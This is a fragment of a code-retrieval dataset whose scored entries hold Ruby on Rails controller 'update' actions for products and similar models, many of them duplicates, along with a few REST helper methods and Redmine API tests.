"40b7e835e8e0ba59412ba35423fb6234", "score": "0.60246557", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a008c83b60460296cc2f99ed4967481c", "score": "0.60187715", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: t(:product_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c9b672ee8dec3683bebaba6468706cdd", "score": "0.6018388", "text": "def update\n @document.product_id = document_params[:product_id] #入力時に選択した製品のidを、documentの外部 key として記録\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: \"Document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63403253406c9af0fd9985f112dba8d2", "score": "0.60181606", "text": "def update\n @product = Product.find(params[:id])\n \n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "464cb345af4713febc9693e7f6bb5c15", "score": "0.60176426", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "464cb345af4713febc9693e7f6bb5c15", "score": "0.60176426", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f04656bc2c6df6f7d279b83495e098b9", "score": "0.6012196", "text": "def update\n @product = Product.find(params[:id])\n @product.name_prefix = @product.name.first.upcase\n respond_to do |format|\n if @product.update_attributes(params[:product])\n\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99d24a74bc96db3bd84b0451ef3afb5f", "score": "0.60113585", "text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "title": "" }, { "docid": "ff0e844764460e02db8ba272d194e15d", "score": "0.60111254", "text": "def update\n @product_info = ProductInfo.find(params[:id])\n\n respond_to do |format|\n if @product_info.update_attributes(params[:product_info])\n flash[:notice] = 'ProductInfo was successfully updated.'\n format.html { redirect_to(@product_info) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_info.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.60108036", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d93568548172a8860d1bf8685a78aaf1", "score": "0.6009648", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbcb46c09f3023e71e661fabd210429c", "score": "0.6008974", "text": "def update\n @product_request = ProductRequest.find(params[:id])\n\n respond_to do |format|\n if @product_request.update_attributes(params[:product_request])\n flash[:notice] = 'ProductRequest was successfully updated.'\n format.html { redirect_to(@product_request) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_request.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efee0c201d58fb22e605ddc78039894c", "score": "0.60010326", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Produto salvo.'\n format.html { redirect_to(@product) }\n format.xml { head :ok }\n else\n default_data\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "733be8d6478fe4d060cb844afbc82b0a", "score": "0.59741753", "text": "def update\n @product.update(product_params)\n set_products\n end", "title": "" }, { "docid": "15489a05130618f3ce2614b67fdbc98d", "score": "0.59703344", "text": "def update_product(product, id)\n request(customer, \"product\", :post, {id: id, method: \"edit\"})\n end", "title": "" }, { "docid": "c0116e532480bccbccdf20b1f2e4cde7", "score": "0.596597", "text": "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33af715f52e19ccef6ab15c5961fa650", "score": "0.5962923", "text": "def update\n if @product.update(product_params)\n render :show, status: :ok, location: api_v1_product_path(@product)\n else\n render json: @product.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c5395c528068b53c9e675f1305cf1bbb", "score": "0.5962866", "text": "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to admin_dashboard_path, :notice => 'Product was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68143e71542bcd581df88177c4235853", "score": "0.595675", "text": "def update\n @onecompany_product = Onecompany::Product.find(params[:id])\n\n respond_to do |format|\n if @onecompany_product.update_attributes(params[:onecompany_product])\n format.html { redirect_to @onecompany_product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @onecompany_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "507c5890a0200c35763361027bc3e71e", "score": "0.59549576", "text": "def update\n @product = Product.find(params[:id])\n\n if @product.update_attributes(params[:product])\n respond_to do |format|\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "698d06ffabab2714dad49e67bcae0d12", "score": "0.59516007", "text": "def update\n @record = Product.find(params[:id])\n @record.update_attributes(params[:product])\n \n respond_to do |format|\n format.json {\n render json: {}\n }\n end\n end", "title": "" }, { "docid": "5886248ca72da07a34e99a057afb1e28", "score": "0.5939306", "text": "def update\n @sample_product = SampleProduct.find(params[:id])\n\n respond_to do |format|\n if @sample_product.update_attributes(params[:sample_product])\n format.html { redirect_to(@sample_product, :notice => 'Sample product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sample_product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "20466c62d0a2de03170e56671e1c0a81", "score": "0.59393024", "text": "def update\n @product = Product.find(params[:id])\n\t\trespond_to do |format|\n\t\t if @product.update_attributes(params[:product])\n\t\t\tif @product.photo.nil?\n\t\t\t\tphoto = Photo.find_by_product_id(@product.id)\n\t\t\t\t@product.update_attributes(:photo_id => photo.id) if !photo.nil?\n\t\t\tend\n\t\t\tformat.html { redirect_to @product, :notice => 'Успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @product.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n end", "title": "" }, { "docid": "855f81d29ee8ff100cfefb3479cedcdd", "score": "0.5930036", "text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "title": "" }, { "docid": "d7d785247431c54a5888830fe2fdecc8", "score": "0.592445", "text": "def update\n return unless product_params\n render json: @product.simple_info, status: :ok if @product.update!(@product_params)\n rescue => e\n render json: { error: e }, status: :ok\n end", "title": "" }, { "docid": "9c9bbf6cb1b0c837e4407b7b8da8fa12", "score": "0.5918887", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n flash[:notice] = 'Tekemasi tuotepaivitys onnistui.'\n\t\tformat.html { redirect_to(admin_index_path)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "785b96ab70a50fd6670ee40646287a9f", "score": "0.5916869", "text": "def update\n @product = Product.find(params[:id])\n\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to edit_product_path(@product), notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62aed9f29c7c82570221941578be63f0", "score": "0.5911955", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to products_path, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffa4fba5b5c4d362f37d133a279f9046", "score": "0.59082353", "text": "def update\n @product = Product.find(params[:id])\n respond_to do |format|\n @product.edit\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6deadbe5c9f53b0181ed9f4a28e93d4b", "score": "0.59077996", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8314b2f05fafbc040e79b9a6debe817", "score": "0.5894585", "text": "def update\n respond_to do |format|\n if @os_product.update(os_product_params)\n format.html { redirect_to @os_product, notice: 'Os product was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_product }\n else\n format.html { render :edit }\n format.json { render json: @os_product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c8eebe0e26fa4c16e3078022605aec6", "score": "0.5891439", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @product, notice: 'Produto atualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a70b38822316c4fd08954faf1d936290", "score": "0.5888477", "text": "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "title": "" }, { "docid": "85d2ed02d760acd40f7badcfec78a18a", "score": "0.5875927", "text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5871698", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "313a528748a15afba5cf91f53ebfefbf", "score": "0.5866056", "text": "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "title": "" }, { "docid": "3af41766a0dc942cdf8f25ff5f45f9e1", "score": "0.5863629", "text": "def update_product_info\n update_info = params[:product]\n market = Market.find(params[:place_id])\n product = market.products.find(update_info[:id])\n if product.update(update_info)\n response = {status: \"OK\", code: 200}\n else\n response = { status: \"Not Ok\", code: 201}\n end\n respond_to do |format|\n format.json{render json: response.to_json }\n end\n end", "title": "" }, { "docid": "7578936d9c6230f64ac35733fbd94061", "score": "0.58635527", "text": "def update\n get_product\n @product_detail = @product.details.find(params[:id])\n @product_detail.update_attributes(params[:product_detail])\n end", "title": "" }, { "docid": "b4b9961c959525699d2e15f2f38c0148", "score": "0.58556426", "text": "def set_product\n #クライアントから入力された商品IDの情報をすでに登録されているDBから取ってくる \n #/product/1\n @product = Product.find(params[:id])\n \n end", "title": "" }, { "docid": "f1b6418d22561356669df9be860574ce", "score": "0.585541", "text": "def update\n @supplier = Supplier.find(params[:supplier_id])\n @product = @supplier.products.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to @supplier, :notice => 'Product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2faa1524822b06d0c5e8980b55f0b5f0", "score": "0.5853478", "text": "def update\n #Find product by productID\n @product = Product.find_by(productID: params[:id])\n \n respond_to do |format|\n if @product.update_attributes(product_params)\n format.html { redirect_to products_path, notice: 'Product has been updated.' }\n format.json { render :index, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71a7354c68a3d1daf2fac8a850e63a20", "score": "0.58515483", "text": "def update\n\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b47969887505a726b902c72696c7a78", "score": "0.58459204", "text": "def update\n @product = Product.find(params[:id])\n\n respond_to do |format|\n if @product.update_attributes(params[:product])\n format.html { redirect_to(@product, :notice => 'Product was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n\n # RhoConnect server\n server = \"http://127.0.0.1:9292\"\n login = \"rhoadmin\"\n password = \"\"\n\n # Login to the RhoConnect server\n res = RestClient.post(\"#{server}/login\", { :login => login, :password => password }.to_json, :content_type => :json)\n\n # Get the token from the login response\n token = RestClient.post(\"#{server}/api/get_api_token\", '', { :cookies => res.cookies })\n\n # Send a ping message, which triggers a ping on the device\n ping_params = {\n :api_token => token,\n :user_id => [\"bhanu\"], # user_id that this message is for\n :sources => [\"Product\"], # sources we want to sync when this message is received\n :vibrate => \"2\",\n :message => \"#{params[:product][:name]} has been updated\",\n :sound => ''\n }\n\n RestClient.post(\"#{server}/api/ping\", ping_params.to_json, :content_type => :json)\n\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product.errors, :status => :unprocessable_entity }\n format.json { render :json => @product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5076f803b9ac1ff95392c65c5b1aa199", "score": "0.58456373", "text": "def update\n @catalog_product = CatalogProduct.find(params[:id])\n\n respond_to do |format|\n if @catalog_product.update_attributes(params[:catalog_product])\n flash[:notice] = 'CatalogProduct was successfully updated.'\n format.html { redirect_to(@catalog_product) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @catalog_product.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44ea4f370eecee2ca333c669db221367", "score": "0.58437943", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Продукт успешно обновлен.' }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a098a6882fad73e5dd5479fe32ae2d2", "score": "0.583748", "text": "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "2e503650c12fc682b498bf88aca13f90", "score": "0.5833285", "text": "def update\n @product_detail = ProductDetail.find(params[:id])\n\n respond_to do |format|\n if @product_detail.update_attributes(params[:product_detail])\n format.html { redirect_to(@product_detail, :notice => 'Product detail was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_detail.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cebff5ed2c4a168d9073e8c31b69287", "score": "0.5823553", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b648dba736173bbabcc29c7f076d1e4e", "score": "0.5822836", "text": "def update\n @product = Product.find(params[:id])\n if @product.update_attributes(params[:product])\n redirect_to products_path\n end\n end", "title": "" }, { "docid": "c3e9fee89f6424b9f4f48432b4e7d340", "score": "0.5821084", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: 'Product was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @product }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97ec465de31cff884d727ccfcd87e572", "score": "0.5820323", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: t('update_success') }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7d90374eb77ad8dd9b96ee24a3a1b3a", "score": "0.5819396", "text": "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "title": "" }, { "docid": "3a4604b0ef1cfe05444ef35bcb3e701f", "score": "0.5813923", "text": "def update\n respond_to do |format|\n if @product1.update(product1_params)\n format.html { redirect_to @product1, notice: \"Product1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @product1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d39f9e1ac5881083b242eae75407a33", "score": "0.5811312", "text": "def update\n respond_to do |format|\n if @product.update(product_params)\n format.html { redirect_to @product, notice: \"Product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @product }\n else\n format.html { render :edit }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
3e5ec671a342a85c90aade5f033b5d22
Contains methods that return the feature's original default value, or block value.
[ { "docid": "cb673fa5027636c791cdef3a4069d385", "score": "0.0", "text": "def internal_feature_module\n @_internal_feature_module ||= Module.new\n end", "title": "" } ]
[ { "docid": "50bd964a3545b2bdd5781aa3910fe919", "score": "0.75824744", "text": "def default_feature_value() nil end", "title": "" }, { "docid": "b44cc0dd1e5c145bb0de91b5ac3af0f3", "score": "0.7205173", "text": "def default_value; end", "title": "" }, { "docid": "b44cc0dd1e5c145bb0de91b5ac3af0f3", "score": "0.7205173", "text": "def default_value; end", "title": "" }, { "docid": "b44cc0dd1e5c145bb0de91b5ac3af0f3", "score": "0.7205173", "text": "def default_value; end", "title": "" }, { "docid": "b44cc0dd1e5c145bb0de91b5ac3af0f3", "score": "0.7205173", "text": "def default_value; end", "title": "" }, { "docid": "97c2754c031af76283f5efcd55651d38", "score": "0.71617186", "text": "def extract_value_from_default(default); end", "title": "" }, { "docid": "ac3e203b71a958cdb721bd6641995f6d", "score": "0.7091217", "text": "def default_value\n return @default_value\n end", "title": "" }, { "docid": "ac3e203b71a958cdb721bd6641995f6d", "score": "0.7091217", "text": "def default_value\n return @default_value\n end", "title": "" }, { "docid": "c61f5f39fefc6966437039624cc66d05", "score": "0.70665896", "text": "def default\n default_value.dup\n end", "title": "" }, { "docid": "7c44c7bfb0ddbd58cdbdb6dd6d0d48c7", "score": "0.70660216", "text": "def default_value(value); value; end", "title": "" }, { "docid": "fbb6eb0ce13076db87dc7fbf5b424520", "score": "0.6916218", "text": "def default_value\n @default_value\n end", "title": "" }, { "docid": "c26dfb3995997bafff72d37cdb2425b5", "score": "0.6851336", "text": "def default\n return @default\n end", "title": "" }, { "docid": "c26dfb3995997bafff72d37cdb2425b5", "score": "0.6851336", "text": "def default\n return @default\n end", "title": "" }, { "docid": "3aecf758ebf50510d830224de4c7ecd4", "score": "0.68416953", "text": "def default_value\n @default_value\n end", "title": "" }, { "docid": "9ff6864e800dbf68d4d62e5d69bae357", "score": "0.6836139", "text": "def default_value\n @value || recommended_value\n end", "title": "" }, { "docid": "2de732aedd7997041419580d7e1af256", "score": "0.68337655", "text": "def value\n self[\"default\"]\n end", "title": "" }, { "docid": "2d20dff564193b9018920ccf757fe40c", "score": "0.6825402", "text": "def _value\n @value || sensible_default()\n end", "title": "" }, { "docid": "ab33a22831d99c02ddfe4295e815eabd", "score": "0.6814252", "text": "def getDefaultValue\n\t\t\t\n\t\t\t\t\treturn @defaultValue\n\t\t\t\n\t\t\t\tend", "title": "" }, { "docid": "e792a71d49c03f54fd83886892caf30b", "score": "0.6736108", "text": "def default\n @default.dup\n end", "title": "" }, { "docid": "e46a9a07011a8d7a087821df2ca87c78", "score": "0.67193127", "text": "def default_value\n if @default.kind_of? Proc\n @default.call\n else\n @default.dup\n end\n end", "title": "" }, { "docid": "ec1f6956957fcac1b17f11e224a18462", "score": "0.670674", "text": "def default_return_value; end", "title": "" }, { "docid": "ec1f6956957fcac1b17f11e224a18462", "score": "0.670674", "text": "def default_return_value; end", "title": "" }, { 